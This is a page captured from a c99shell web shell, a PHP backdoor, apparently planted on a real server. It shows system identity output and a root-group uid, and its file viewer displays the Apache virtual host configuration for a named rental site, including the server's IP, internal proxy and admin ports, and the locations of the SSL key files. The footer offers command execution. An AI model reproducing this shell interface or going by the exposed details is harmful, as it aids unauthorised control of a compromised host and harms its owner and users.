Software: Apache. PHP/8.1.30 uname -a: Linux server1.tuhinhossain.com 5.15.0-163-generic #173-Ubuntu SMP Tue Oct 14 17:51:00 UTC uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root) Safe-mode: OFF (not secure) /etc/apache2/sites-available/ drwxr-xr-x | |
| Viewing file: Select action/file-type: <VirtualHost 203.161.58.4:80>
ProxyPreserveHost On
ProxyPass /.well-known !
ProxyPass / http://localhost:3001/
ProxyPassReverse / http://localhost:3001/
SuexecUserGroup #1002 #1003
ServerName rentals.picotech.app
ServerAlias www.rentals.picotech.app
# Comment out DocumentRoot if you're not using PHP site
#DocumentRoot /home/picotech/domains/rentals.picotech.app/public_html
<Directory /home/picotech/domains/rentals.picotech.app/public_html/dist>
Require all granted
</Directory>
# (Optional) Rewrite subdomains
RewriteEngine on
RewriteCond %{HTTP_HOST} =webmail.rentals.picotech.app
RewriteRule ^(?!/.well-known)(.*) https://rentals.picotech.app:20000/ [R]
RewriteCond %{HTTP_HOST} =admin.rentals.picotech.app
RewriteRule ^(?!/.well-known)(.*) https://rentals.picotech.app:10000/ [R]
DocumentRoot /home/picotech/domains/rentals.picotech.app/public_html/dist
RewriteCond %{HTTPS} off
RewriteRule ^/(?!.well-known)(.*)$ https://%{HTTP_HOST}/$1 [R]
</VirtualHost>
<VirtualHost 203.161.58.4:443>
# Do NOT proxy static assets — serve them locally
ProxyPass /assets/ !
Alias /assets/ /home/picotech/domains/rentals.picotech.app/public_html/dist/assets/
<Directory /home/picotech/domains/rentals.picotech.app/public_html/dist/assets/>
Require all granted
Options -Indexes
</Directory>
ProxyPreserveHost On
# DO NOT PROXY ASSETS
ProxyPass /assets/ !
Alias /assets/ /home/picotech/domains/rentals.picotech.app/public_html/dist/assets/
ProxyPass /.well-known !
ProxyPass / http://localhost:3001/
ProxyPassReverse / http://localhost:3001/
SuexecUserGroup #1002 #1003
ServerName rentals.picotech.app
ServerAlias www.rentals.picotech.app
ServerAlias mail.rentals.picotech.app
ServerAlias webmail.rentals.picotech.app
ServerAlias admin.rentals.picotech.app
DocumentRoot /home/picotech/domains/rentals.picotech.app/public_html/dist
ErrorLog /var/log/virtualmin/rentals.picotech.app_error_log
CustomLog /var/log/virtualmin/rentals.picotech.app_access_log combined
ScriptAlias /cgi-bin/ /home/picotech/domains/rentals.picotech.app/cgi-bin/
DirectoryIndex index.php index.php4 index.php5 index.htm index.html
<Directory /home/picotech/domains/rentals.picotech.app/public_html/dist>
Options -Indexes +FollowSymLinks
AllowOverride All
Require all granted
RewriteEngine On
RewriteBase /
RewriteRule ^index\.html$ - [L]
RewriteCond %{REQUEST_FILENAME} !-f
RewriteCond %{REQUEST_FILENAME} !-d
RewriteRule . /index.html [L]
</Directory>
<Directory /home/picotech/domains/rentals.picotech.app/cgi-bin>
Require all granted
AllowOverride All Options=ExecCGI,Includes,IncludesNOEXEC,Indexes,MultiViews,SymLinksIfOwnerMatch
</Directory>
ProxyPass /.well-known !
RewriteEngine on
RewriteCond %{HTTP_HOST} =webmail.rentals.picotech.app
RewriteRule ^(?!/.well-known)(.*) https://rentals.picotech.app:20000/ [R]
RewriteCond %{HTTP_HOST} =admin.rentals.picotech.app
RewriteRule ^(?!/.well-known)(.*) https://rentals.picotech.app:10000/ [R]
RemoveHandler .php
RemoveHandler .php7.4
RemoveHandler .php8.0
RemoveHandler .php8.1
RemoveHandler .php8.2
RemoveHandler .php8.3
FcgidMaxRequestLen 1073741824
SSLEngine on
SSLCertificateFile /etc/ssl/virtualmin/17533414024169761/ssl.cert
SSLCertificateKeyFile /etc/ssl/virtualmin/17533414024169761/ssl.key
SSLProtocol all -SSLv2 -SSLv3 -TLSv1 -TLSv1.1
SSLCACertificateFile /etc/ssl/virtualmin/17533414024169761/ssl.ca
</VirtualHost>
|
:: Command execute :: | |
--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0028 ]-- |